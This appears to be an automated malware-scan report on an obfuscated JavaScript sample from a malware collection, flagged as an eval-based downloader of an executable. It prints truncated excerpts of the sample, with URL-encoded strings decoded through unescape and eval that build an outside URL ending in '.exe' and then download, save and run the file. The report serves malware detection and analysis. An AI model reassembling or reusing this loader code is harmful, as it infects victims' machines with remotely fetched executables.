Suspicious ^80% javascript-malware-collection Download

20160328_53bb996cd41b774c9a19b77cdb427f66.js

Obfuscated eval downloads executable

eval() executing transformed codeText has empty named-parameter catch

SHA-256a0b292f8c98225bfb1006adbed9af570b380746777644f1360639496a064c90d

Evidence

eval() with call expression argument line 1

1eval(bySet("cssNumber%20%3D%20%287%29%3B%20bubbleType%20%3D%20%28%22Expa%22%29%3B%20cssHooks%20%3D%20%28%22it%22%29%3B%20defaultValue%20%3D%20%28%22Create%22%29%3B%20filters%20%3D%20%28%22Slee%22%29%3Bstatus%20%3D%20%28%22verXM%22%29%2C%20crossDomain%20%3D%20%280%29%3Bvar%20backgroundClip%20%3D%20%28%22n%22%29%3Binitial%20%3D%20%28%22.%22%29%2C%20top%20%3D%20%28%22MLHTT%22%29%3Bth%20%3D%20%28%22le%22%29%3BreliableMarginLeftVal%20%3D%20%28%22p%22%29%3B%20end%20%3D%20%28%22readyS%22%29%3B%20_evalUrl%20%3D%20%282%29%3B%20col%20%3D%20%28%22p%3A//g%22%29%3B%20reverse%20%3D%20%28%22DB.Str%22%29%3BboxSizingR …

Invokes zero-argument function at module scope lines 2–8

2:8… up = onreadystatechange = ifModified = attributes = temp.msg();
3oldCallbacks();
4m(iterator);
5rbrace();
6startTime();
7originalEvent[removeAttribute + "od" + propFix] = ((7 - prependTo) & (3 & unmatched));
8originalEvent["ty" + push_native] = ((84 …

Text has empty named-parameter catch lines 15–24

91… s]);
	matchContext(andSelf, contentType, classCache, raw);
	sibling[curValue + "nd"]();
	break;
} catch(createButtonPseudo) {
20
}
}
23
while(sibling[end + "tate"] != ((2 | crossDomain) * (48 - parents))) ifModified[preFilters + "ipt"][container](((5 * _eval …

Obfuscated computed call cluster lines 26–42

26:9… ing["status"] == ((114, strAbort, 164, tag) - (6 + start))) {
27		originalEvent[keepData + "en"]();
28		div(configurable, raw, prependTo, htmlPrefilter);
29		ifModified[byElement + "pt"][filters + "p"](((5842 - letterSpacing) + (Math.pow(305, _evalUrl) - 92638)));
30		originalEvent[isSuccess + "ToFi" + th](isLocal, (configurable + 1));
31		responseHeaders(css, top);
32		removeChild["Ru" + backgroundClip](isLocal);
33	} else {
34
35	}
36}
37
38function div(num) {
39	charset(bySet("originalEvent%5BneedsContext%20+%20%22r%22%20+%20cssHooks%20+%20%22e%22%5D%28sibling%5BboxSizingReliable%20+%20%22seBody%22%5D%29%3B"));
40}
41
42function startTime() {

Calls JavaScript unescape lines 43–55

43:165… 20reverse%20+%20%22eam%22%29%3B"));
44}
45
46function each(inArray) {
47	charset(bySet("head%28%22htt%22%20+%20col%20+%20%22lasses%22%20+%20isBorderBox%20+%20%22com/4H%22%20+%20getElementsByTagName%20+%20%22exe%22%29%3B"));
48}
49
50function bySet(oldCallbacks) {
51	return unescape(oldCallbacks);
52}
53
54function matchContext(stopImmediatePropagation, invert) {
55	charset(bySet("sibling%5B%22o%22%20+%20reliableMarginLeftVal%20+%20%22en%22%5D%28ridentifier%20+%20%22T%22%2C%20dataShow%20+%20%22p%3A/%22%20+%20trigger%20+%20%22escost%22%20+%20optDisabled%20+%20%22/4H%22%20+%20modified%20+%20%22.exe%22%2C%20%21%28%28%28classCache%7C32%29-%28Math.pow%28qualifier%2C%202%29-htmlPrefilter%29%29%20 …